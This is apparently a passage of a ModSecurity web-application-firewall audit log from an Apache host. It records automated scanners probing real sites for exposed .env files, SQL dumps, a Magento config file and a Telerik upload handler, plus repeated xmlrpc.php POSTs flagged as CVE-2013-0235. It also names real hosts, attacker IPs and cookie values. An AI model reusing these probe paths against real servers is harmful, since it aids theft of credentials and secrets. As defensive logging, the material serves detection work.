rel="https://api.w.org/" Set-Cookie: _sfs_id=761126cb04fd7f6fea006f91d5fe59f71750016904; expires=Sun, 15 Jun 2025 20:48:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2fe32b22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bgoldd/.env"] [unique_id "aE8jh3salJN_0-_70dLyNQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016903497544 683954 (- - -) Stopwatch2: 1750016903497544 683954; combined=2013, p1=416, p2=1483, p3=0, p4=0, p5=113, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2fe32b22-Z-- --dc115d74-A-- [16/Jun/2025:01:18:27.538624 +0530] aE8jiuuqUCmpR0cewAv-NAAAAAE 185.177.72.210 47654 127.0.0.1 7081 --dc115d74-B-- GET /:5000/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dc115d74-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=022dd2f3c0425800b48895e5242f1e581750016907; expires=Sun, 15 Jun 2025 20:48:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dc115d74-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.test"] [unique_id "aE8jiuuqUCmpR0cewAv-NAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016906884552 654148 (- - -) Stopwatch2: 1750016906884552 654148; combined=1737, p1=380, p2=1243, p3=0, p4=0, p5=113, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dc115d74-Z-- --a16d843e-A-- [16/Jun/2025:01:18:34.363328 +0530] aE8jkT6fDirgE_qJvgHMAwAAAAA 128.199.112.101 42704 127.0.0.1 7081 --a16d843e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a16d843e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a16d843e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8jkT6fDirgE_qJvgHMAwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016913422199 941199 (- - -) Stopwatch2: 1750016913422199 941199; combined=2411, p1=382, p2=1523, p3=58, p4=63, p5=240, sr=111, sw=145, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a16d843e-Z-- --caa25655-A-- [16/Jun/2025:01:18:46.559956 +0530] aE8jnT3D4g1mGjVnV5KI7wAAAAY 185.177.72.210 51390 127.0.0.1 7081 --caa25655-B-- GET /2002.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --caa25655-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a0aa12e33aa3a1f0a6f40b0f64ecb2181750016926; expires=Sun, 15 Jun 2025 20:48:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --caa25655-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2002.sql"] [unique_id "aE8jnT3D4g1mGjVnV5KI7wAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016925889549 670485 (- - -) Stopwatch2: 1750016925889549 670485; combined=2062, p1=371, p2=1577, p3=0, p4=0, p5=113, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --caa25655-Z-- --51663d5f-A-- [16/Jun/2025:01:18:52.324395 +0530] aE8jo3salJN_0-_70dLySQAAAAU 185.177.72.210 36940 127.0.0.1 7081 --51663d5f-B-- GET /app/etc/local.xml.phpunit HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51663d5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=259a4997b0d350adb7276ee7b0fe48ea1750016932; expires=Sun, 15 Jun 2025 20:48:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51663d5f-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.phpunit"] [unique_id "aE8jo3salJN_0-_70dLySQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016931638803 685695 (- - -) Stopwatch2: 1750016931638803 685695; combined=1995, p1=413, p2=1485, p3=0, p4=0, p5=96, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51663d5f-Z-- --e092ba4f-A-- [16/Jun/2025:01:18:53.344384 +0530] aE8jpAW_rlaNA7qLBTtGIAAAAAs 185.177.72.210 37016 127.0.0.1 7081 --e092ba4f-B-- GET /:8880/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e092ba4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7b583b62018bed89994cea253280aaa51750016933; expires=Sun, 15 Jun 2025 20:48:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e092ba4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/awstats/.env"] [unique_id "aE8jpAW_rlaNA7qLBTtGIAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016932645715 698762 (- - -) Stopwatch2: 1750016932645715 698762; combined=1870, p1=369, p2=1394, p3=0, p4=0, p5=106, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e092ba4f-Z-- --49a4e070-A-- [16/Jun/2025:01:18:58.892500 +0530] aE8jqnsalJN_0-_70dLySwAAAAU 185.177.72.210 37172 127.0.0.1 7081 --49a4e070-B-- GET /:10000/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --49a4e070-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e51bffb1d982cbe538711c35caa145411750016938; expires=Sun, 15 Jun 2025 20:48:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --49a4e070-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/environnements/.env"] [unique_id "aE8jqnsalJN_0-_70dLySwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016938239762 652801 (- - -) Stopwatch2: 1750016938239762 652801; combined=1915, p1=389, p2=1404, p3=0, p4=0, p5=121, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49a4e070-Z-- --3cc01544-A-- [16/Jun/2025:01:18:59.859005 +0530] aE8jq5X34joZXY0ssV2uBgAAAAM 185.177.72.210 37198 127.0.0.1 7081 --3cc01544-B-- GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3cc01544-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=02ad674d9e8e11c7c00846f79e459c921750016939; expires=Sun, 15 Jun 2025 20:48:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3cc01544-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".web.ui.webresource.axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".web.ui.webresource.axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Telerik.Web.UI.WebResource.axd"] [unique_id "aE8jq5X34joZXY0ssV2uBgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016939214674 644394 (- - -) Stopwatch2: 1750016939214674 644394; combined=1937, p1=383, p2=1461, p3=0, p4=0, p5=92, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3cc01544-Z-- --f41cec42-A-- [16/Jun/2025:01:19:04.015248 +0530] aE8jryCwfN5GtQhYhHBGfwAAAAw 185.177.72.210 59788 127.0.0.1 7081 --f41cec42-B-- GET /:8880/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f41cec42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=887a146d881827231e627829febc3e1d1750016943; expires=Sun, 15 Jun 2025 20:49:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f41cec42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/django_project_path/.env"] [unique_id "aE8jryCwfN5GtQhYhHBGfwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016943289678 725647 (- - -) Stopwatch2: 1750016943289678 725647; combined=2041, p1=407, p2=1527, p3=0, p4=0, p5=106, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f41cec42-Z-- --4e894451-A-- [16/Jun/2025:01:19:12.745966 +0530] aE8juOuqUCmpR0cewAv-UQAAAAE 185.177.72.210 55800 127.0.0.1 7081 --4e894451-B-- GET /:9000/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4e894451-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4acd6db7591d616d3a5b4c6c8fcfc3061750016952; expires=Sun, 15 Jun 2025 20:49:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4e894451-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.dev"] [unique_id "aE8juOuqUCmpR0cewAv-UQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016952008846 737207 (- - -) Stopwatch2: 1750016952008846 737207; combined=2097, p1=415, p2=1566, p3=0, p4=0, p5=115, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e894451-Z-- --661d4546-A-- [16/Jun/2025:01:19:15.803075 +0530] aE8ju3salJN_0-_70dLyVwAAAAU 185.177.72.210 56094 127.0.0.1 7081 --661d4546-B-- GET /:8181/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --661d4546-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b9295d6561ece63571fe6762e3252ed1750016955; expires=Sun, 15 Jun 2025 20:49:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --661d4546-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/environnements/.env"] [unique_id "aE8ju3salJN_0-_70dLyVwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016955154327 648813 (- - -) Stopwatch2: 1750016955154327 648813; combined=1869, p1=334, p2=1434, p3=0, p4=0, p5=101, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --661d4546-Z-- --1e944c0e-A-- [16/Jun/2025:01:19:27.927090 +0530] aE8jxz6fDirgE_qJvgHMIgAAAAA 185.177.72.210 42984 127.0.0.1 7081 --1e944c0e-B-- GET /:8880/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e944c0e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b27c1ca2e17838a7a6acd000dc6c23f1750016967; expires=Sun, 15 Jun 2025 20:49:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e944c0e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/sites/all/libraries/mailchimp/.env"] [unique_id "aE8jxz6fDirgE_qJvgHMIgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016967233069 694083 (- - -) Stopwatch2: 1750016967233069 694083; combined=1854, p1=411, p2=1348, p3=0, p4=0, p5=94, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e944c0e-Z-- --edc13448-A-- [16/Jun/2025:01:19:34.232606 +0530] aE8jzZX34joZXY0ssV2uGQAAAAM 128.199.112.101 60324 127.0.0.1 7081 --edc13448-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --edc13448-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --edc13448-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8jzZX34joZXY0ssV2uGQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016973296076 936586 (- - -) Stopwatch2: 1750016973296076 936586; combined=2161, p1=390, p2=1367, p3=42, p4=62, p5=198, sr=110, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --edc13448-Z-- --2b03ae6d-A-- [16/Jun/2025:01:19:40.641861 +0530] aE8j0z6fDirgE_qJvgHMJwAAAAA 185.177.72.210 58196 127.0.0.1 7081 --2b03ae6d-B-- GET /compose/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b03ae6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1ebc6ff04a34a2f9304d4928d9ccdc161750016980; expires=Sun, 15 Jun 2025 20:49:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b03ae6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/compose/.env"] [unique_id "aE8j0z6fDirgE_qJvgHMJwAAAAA"] Apache-Handler: 